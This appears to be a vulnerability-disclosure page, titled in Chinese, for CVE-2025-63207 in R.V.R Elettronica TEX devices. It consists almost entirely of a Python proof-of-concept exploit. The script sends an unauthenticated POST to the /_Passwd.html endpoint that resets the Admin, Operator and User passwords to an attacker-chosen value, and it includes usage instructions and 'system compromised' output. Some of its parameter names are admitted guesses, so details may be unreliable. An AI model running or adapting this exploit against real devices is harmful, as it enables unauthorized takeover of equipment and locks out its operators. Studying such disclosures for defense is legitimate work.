CVE-2025-63207 R.V.R Elettronica TEX 密码修改访问控制漏洞

import requests import sys # CVE-2025-63207 PoC - R.V.R Elettronica TEX Password Change Exploit # Target: R.V.R Elettronica TEX device with firmware TEXL-000400 / Web GUI TLAN-000400 # Vulnerability: Broken Access Control on /_Passwd.html endpoint - No authentication required def change_password(target_ip, new_password): """ Exploit function to change all user passwords on R.V.R Elettronica TEX Args: target_ip: Target device IP address new_password: New password to set for all users (Admin, Operator, User) Returns: bool: True if exploitation successful, False otherwise """ url = f"http://{target_ip}/_Passwd.html" # Payload to change all user passwords (Admin, Operator, User) # The exact parameter names may vary - common patterns shown below data = { 'Admin': new_password, 'Oper': new_password, 'User': new_password, 'submit': 'Apply' # or 'Save' or 'Change' } try: # Send unauthenticated POST request to change passwords response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Password change request sent successfully") print(f"[+] Target: {target_ip}") print(f"[+] New password set for all users: {new_password}") return True else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {e}") return False def verify_access(target_ip, username, password): """ Verify if the new credentials work """ url = f"http://{target_ip}/login.html" # or appropriate login endpoint data = {'username': username, 'password': password} try: response = requests.post(url, data=data, timeout=10) return response.status_code == 200 except: return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_63207.py <target_ip> <new_password>") print("Example: python cve_2025_63207.py 192.168.1.100 Admin@123") sys.exit(1) target = sys.argv[1] new_pass = sys.argv[2] print("=" * 60) print("CVE-2025-63207 Exploit - R.V.R Elettronica TEX") print("Broken Access Control - Unauthenticated Password Modification") print("=" * 60) if change_password(target, new_pass): print("\n[!] Exploitation successful - System compromised") print("[!] You can now login with any user account using the new password") else: print("\n[-] Exploitation failed")